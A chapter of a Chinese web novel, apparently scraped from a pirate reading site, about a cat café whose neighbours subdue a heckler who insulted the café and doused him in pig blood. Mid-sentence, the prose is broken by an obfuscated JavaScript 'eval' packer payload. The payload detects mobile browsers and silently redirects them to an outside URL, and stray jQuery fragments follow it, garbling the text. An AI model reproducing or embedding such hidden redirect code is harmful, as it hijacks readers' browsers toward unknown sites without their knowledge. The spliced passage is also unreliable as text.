123读书网 > 其他小说 > 全京城被毛茸茸攻陷后 > 20. 谁才是畜生
    苏绒三步并作两步走到通往前厅的门前,手心抵在细竹帘子上,脑子里乱糟糟全是各种小剧场。


    是哪个混不吝的地痞闲汉过来闹事?


    还是张不容那稿子犯了谁的忌讳?


    又或者……纯粹是厅里的客人起了龃龉砸了东西?


    猫馆新开张没多久,最讲究一个和气安稳,若是在馆里打闹起来,无论伤了人还是碰坏了猫,名声坏了可就难挽回了!


    想到这儿,她心头更急。


    少女倏然抬手,一把将那细密的竹帘子掀得哗啦作响,带起的风撩动了她颊边细软的碎发。视线还未完全清晰,一句熟悉又刻薄的讥诮便悠悠然钻入她耳蜗。


    “啧,本事不小啊,可即便市井之中求口食,也该晓得什么手段能使,什么下作勾当,碰都碰不得吧?”


    能把挖苦人的腔调拿捏的如此恰到好处,除了张不容不做他想。


    苏绒站在门边,指尖还捏着那片微凉的竹帘,整个人却顿在了原地。


    什么情况……


    不像干架,倒像是……单方面训孙子?


    她刚要提着裙角往里迈步探个究竟,一个虎头虎脑的小身影便如同小炮弹似的,咚一声撞到她腿上。


    力道之大,差点给苏绒撞一趔趄,一把扶住墙才稳住了身子。


    低头一瞧,诶,这不是张小虎么?


    小虎急得小脸通红,指着前厅里面就气喘吁吁地告起状来。


    “苏姐姐!苏姐姐!里面…里面有人欺负雪姑!”


    有人欺负雪姑?


    雪姑身子重,没几天就要生了,哪里经得起人欺负!


    这五个字像冰水灌顶,苏绒再顾不上其他,一把将小朋友护在身后,迈步就跨进了前厅。


    只见柜台前方的亮堂处,一个流里流气的壮汉正被几个常来听书的街坊牢牢摁在地上。


    那汉子还在挣扎,被扭着胳膊压着腿,像条离了水的鱼,侧脸贴着冰凉的地砖,嘴里还不干不净地骂骂咧咧。


    更要命的是,这泼皮的后脑勺跟开了颜料铺子似的,一大片暗红色糊了半个脑袋,油乎乎的头发黏成一绺绺,连脖颈都染得鲜红一片。


    这视觉冲击力可太强了……


    要不是骂声不绝于耳,她真以为这位被开了瓢呢……


    等等,那这人要是讹上猫馆可咋整啊?


    苏绒脑子嗡地一声,只觉得一个头两个大。可偏在这时,又一声中气十足的喝声传了过来。


    “打哪来的混账东西,耽误了老娘一盆猪血!”


    一个端着空木盆、盆沿还滴着暗红色浆子的粗壮婆子,满脸怒容地掀开帘子走了进来。她一手指着地上挣扎的泼皮,脸气得发红。


    “还敢来猫馆寻晦气?我看你是没脸没皮,作死呢!”


    她声音洪亮,字字都带着火气。那泼皮怕是在她身上吃了大亏,闻言骂都不敢骂了,缩了下脖子,挣扎的动作都小了不少。


    原来是猪血啊!


    苏绒松了口气,嘴角噗嗤一下向上弯起,像偷看到顽童恶作剧的小兽,想笑又强抿住唇,把那点促狭的笑意压成两个小小的笑涡。


    亮晶晶的杏眼正追着朝阳大妈怒怼市井无赖的精彩场面,谁料下一秒自己怀里就装满了小挂件。


    厅堂角落呼啦啦涌出来一群躲着的小萝卜头,卖花女的妹妹陈阿桃打头,后面跟着巷尾茶铺家的丫头……


    一个个小脸上还挂着没干的泪痕,像一群受惊归巢的小雀儿,全都紧紧围拢到苏绒腿边。


    “苏姐姐。”


    “猫娘娘。”


    “雪姑毛都竖起来了。”陈阿桃抽抽噎噎,小手还在抹眼睛。


    “丧彪叫得好大声。”茶铺丫头吸着鼻子,带着哭腔。


    “大壮叔问他干啥,他就骂人。”另一个娃有点生气:“说……说畜生……”


    “他说畜生伸爪子都有人送钱。”张小虎不愧是这里最大的孩子,总算把最重要的这句话说了出来:“然后爹就上了。”


    孩子们七嘴八舌,像一群炸了窝的小麻雀。苏绒听得头昏脑涨,低头看着一张张挂满泪痕的小脸。


    刚伸出手想摸摸这个,又想去擦那个的眼泪,张不容懒洋洋的声音稳稳插了进来,瞬间盖过了小麻雀们的喳喳声。


    “好了。”


    苏绒抬头看去,雪姑正小心翼翼地从他宽大的袖口里探出脑袋。


    那雪白的毛发还有些凌乱,圆滚滚的孕肚清晰可见,一双湛蓝的眼睛惊惧地扫视着四周。


    看到近在咫尺的苏绒,雪姑立刻发出细弱依赖的咪呀声,前爪急切地扒拉着张不容的袖缘,努力想扑进苏绒怀里。


    苏绒心下一软,连忙上前一步,小心翼翼地避开雪姑隆起的腹部,轻柔地将那微微颤抖的身体接了过来。


    雪姑一入怀,立刻把头深深埋进苏绒臂弯,喉咙里发出委屈又后怕的呼噜声,哪还有半点在后院晒太阳时的从容仙女样。


    “雪姑乖乖宝贝…乖啊没事了啊…”


    苏绒的心都揪成了一团,连忙一声声地唤着,脸颊贴上它蓬松的皮毛蹭了又蹭,温软的嗓音像浸了蜜的丝线,连方才的混乱嘈杂都被她暂时隔绝在身后。


    直到怀里的呼噜声稍微平稳了些许,张不容才慢悠悠开口,将之前那场风波的前因后果,像说书似的娓娓道来。


    原来,苏绒刚带周大娘母女到后院,前厅便陆续来了几位街坊熟客,各自逗着猫,散坐着闲聊。


    阳光透过细竹帘子,在厅内投下斑驳的光影,猫儿慵懒地趴在各自身下温软的膝头打盹,厅内弥漫着一种午后特有的宁谧闲适。


    张不容注意到角落靠窗坐了个面生的中年人,穿着一身半旧的短打,混在衣着相似的街坊里本不显山露水。


    但这人眼神不对,总飘来飘去,隔三岔五还得瞟上一眼柜台和后院的门。


    他便留了几分心,果然等到人多了起来,气氛热些,那人便开始了。


    先是长叹一口气,肩膀也跟着一塌,一脸苦大仇深地絮叨起来,声音不大不小,恰好能让周围几桌人听清。


    “唉……这年头呐……吃口饱饭真是比登天还难喽!上赶着给人磕头作揖,就差把膝盖跪进土里了,人家连眼皮子都懒得抬一下,丢出来的铜板还不够塞牙缝的!”


    “一家老小饿得前胸贴后背……这日子啊,真真是一眼望不到头,黑得发霉喽!”


    “老弟,莫急莫急,天无绝人之路,总能想到法子的。”


    邻桌一位心善的白胡子老丈人看他愁苦,忍不住开口安慰起来,可这人却跟没长耳朵一样,只顾着长吁短叹,颇有些孤芳自赏的意味。


    这样的人张不容可是见多了,他瞥了两眼,正准备移开目光,可能是觉得火候到了,这人盯着一边的雪姑,声音陡然拔高,阴阳怪气地甩出一句话来,霎时惹了众怒!


    “嘿!要我说啊,这都是命!瞧见没?这年头,它怪就怪在——人模狗样地跪着、舔着,连半个铜子儿也难捞着!可偏偏就有那等——”


    “哼,畜生!”


    “伸伸脏爪子,随便叫唤两声,就有人上赶着往跟前献殷勤、送钱上门!端的是富得流油喽!这世道,真真是笑贫不笑娼……哦不,该说是笑人不笑猫呐!”


    他故意顿了顿,一双鼠眼闪烁着恶意,嘴里的这话意有所指,分明是在影射猫馆。


    顿时,这话就捅了马蜂窝了。


    张大壮今个收摊早,正带着小虎在座,老张脾气急,一听这话顿时就恼了!


    他霍地站起,将手里的粗瓷茶碗重重往桌上一放。许是力气大了些——


    “哐当”一声脆响。


    那碗啪地一声裂成了两半,便是苏绒在后院听到的碎裂声。


    “哪来的混账东西,敢在这儿胡说八道!”


    小虎还没反应过来,自家亲爹已经干过去了,像提起一只鸡一样提起这个家伙,一把拎到空中,一双怒目


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15716424|173731||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    盯着他说:


    “你说什么?你有胆再说一遍?!”


    附近几位同样听不下去的熟客汉子并着小虎,也也立刻围了上来,一个个把这人围成一个密不透风的圈。


    那人一看形势不对,一眼就瞅准了最年幼的张小虎,一把把包围圈从他这里豁开,下一秒就挣扎着想往外跑。


    “黑店啊!打人啦!救命啊!”


    偏就在这时,两位刚去早市买了猪血准备回去做菜的大婶,正说笑着从门口经过,手里端着满满一盆暗红色的新鲜猪血。


    一眼就瞧见那个眼神不正的家伙,夺门而出,直朝她们撞来!


    其中一位大婶二话不说,手腕一抖——


    哗啦——


    一整盆尚带温热的暗红猪血,直接兜头盖脸地淋了那泼皮一脑袋!


    那人哪想到会有这么一出?


    霎时被泼得一哆嗦,惊叫出声,猪血糊了他一头一脸,眼睛都睁不开,挣扎瞬间乱了章法。


    张大壮和几位街坊汉子趁势一拥而上,七手八脚合力将这人死死摁在了地上。


    “事儿就是这么个事儿了。”


    张不容话音落定,端起茶杯呷了一口,桃花眼在氤氲的水汽后弯了弯,仿佛刚讲完一段精彩的评书。


    少女长长的睫毛垂下来,掩住了眼底的情绪,有对街坊邻居挺身相助的感激,有对雪姑受惊遭罪的心疼,还有……


    唔,当然也有替那盆壮烈牺牲的猪血惋惜一下。


    她抱着雪姑,郑重地站直身体,那双清澈的眸子在厅内每一个仗义出手的街坊脸上认真地划过,然后深吸一口气,对着众人深深鞠了一躬,纤直的脊背弯出一道诚挚的弧线。


    “苏绒代猫馆,谢过诸位街坊高邻仗义出手,护卫此地安宁!这份情,猫馆记下了!”


    紧接着又微微侧身,再次郑重深揖下去。


    “也谢过二位婶子!若非您二位当机立断,这事怕是还收不了场。那盆猪血价值几何?苏绒双倍奉还!”


    苏绒这情真意切的道谢一出,厅里紧绷的气氛瞬间松快了不少。


    那位泼猪血的王婶子本来还心疼得不行,一听双倍奉还,眼睛顿时亮了,脸上怒容也化开大半,摆摆手,嗓门依旧洪亮。


    “哎哟,苏小娘客气啥,值当什么钱!就是这混球糟践东西,看着来气。”


    话虽这么说,她的嘴角却忍不住一个劲儿往上翘,旁边那位帮腔的大婶也噗嗤一声笑了出来,指着地上那狼狈不堪的泼皮。


    “王姐,你瞅瞅你给他染的这颜色,比关二爷还鲜亮!赶明儿他顶着这脑袋出门,保管比啥告示都管用,看谁还敢学他来找猫馆的晦气!”


    这话像点燃了引线,厅里顿时爆出一阵哄堂大笑。连一直板着脸的张大壮,看着手下那颗还在往下滴答暗红浆子的脑袋,也忍不住咧开嘴笑了。


    “哈哈哈!是极是极!王婶子好手艺!”


    “这可是苏小娘馆里独一份的彩头,保管生意兴隆!”


    孩子们本来还心有余悸,被大人们的笑声一冲,看着地上那滑稽的红脑袋,也忘了害怕,跟着咯咯笑起来。


    苏绒抱着终于稍稍平静下来的雪姑,看着眼前这群仗义又促狭的街坊邻居,听着满堂快活的笑声。


    心头那点后怕和郁气,如同春阳下的薄冰,被这暖融的笑声“噗”地一下,轻轻巧巧就消融掉了。


    她忍不住也弯起了眉眼,杏眼弯成了两轮晶莹的月牙儿,看着地上那个在哄笑声中彻底蔫了的泼皮。


    那笑意便似投入石子的春潭,涟漪层层漾开至眼尾眉梢,最终化作一丝无奈又好笑的轻叹,摇了摇头。


    得,街坊们出手快准狠,连善后都自带喜剧效果,合着整个就没她啥发挥余地嘛。


    她下巴微扬,点向地上那位主儿,清亮的嗓音像咬碎的麦芽糖,透着一股子轻松又刁钻的劲儿。


    “这位红运当头的好汉,说说吧,谁让你来的?”